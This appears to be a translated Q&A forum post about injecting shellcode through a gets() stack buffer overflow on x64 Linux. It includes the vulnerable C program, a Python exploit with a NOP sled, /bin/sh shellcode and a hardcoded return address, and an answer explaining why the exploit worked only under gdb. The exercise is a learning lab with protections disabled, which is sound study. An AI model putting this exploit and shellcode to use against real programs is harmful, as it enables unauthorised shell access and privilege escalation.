linux - x64 linux上的Shellcode注入
问题描述
我在尝试通过 64 位上的缓冲区溢出将 shellcode 注入程序时遇到问题。我已经禁用了 ASLR 并在没有堆栈 cookie 和 execstack 的情况下进行了编译。
// vuln.c
#include <stdio.h>
void vuln()
{
printf("Give me something to worry about...\n");
char buf[500];
gets(buf);
printf("No root shell for you...\n");
}
int main()
{
vuln();
}
# exp.py
from struct import pack
payload_len = 520
nop = "\x90"*300
# Address in the middle of the nop stack
rip = 0x7fffffffdf4c
buf = ""
buf += "\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05"
buf += "\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05"
buf += "\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05"
buf_len = len(buf)
nop_len = len(nop)
padding = "A"*(payload_len-nop_len-buf_len)
payload = nop + buf + padding + pack("<Q", rip)
print payload
基本上,该漏洞利用仅在 gdb 中运行时有效(我能够启动 shell),但在命令行上无效。我想这可能是因为一个封闭的管道所以我尝试了猫把戏,(python exp.py; cat) | ./vuln
但它没有帮助。显然,在 gdb 中进行利用不允许提升权限。有人知道我做错了什么吗?
提前致谢。
解决方案
显然,我使用 gdb ( rip = 0x7fffffffdf4c
) 获得的地址太靠近缓冲区的开头,当从命令行执行时,执行被重定向到无效内存(我猜与使用 gdb 执行相比,堆栈略微向下移动)。通过在 NOP 幻灯片中选择一个地址,一切都按预期工作。
推荐阅读
- jss - 如何在 styled-jss 中给出有意义的类名?
- laravel - 在 Docker 中从 Laravel 执行 aristan 的问题
- error-handling - 为什么 ⎕SIGNAL 没有被 :: 错误守卫捕获?
- python - IndexError: index 255 is out of bounds for axis 2 with size 12. 这是什么意思以及如何解决?
- tableau-api - 基于 tableau 中的另一个值突出显示多个行值
- java - 如何为 WindowedStream 数据使用度量系统或类似的东西?
- java - 调用 getDeclaredAnnotation() 时出现 NoSuchMethodError
- android - 无法从 Android 增加 Firebase 数据库
- python-3.x - 400 资源名称应以“/projects/”开头
/" - c# - 如何在 Data GridView 中进行下一步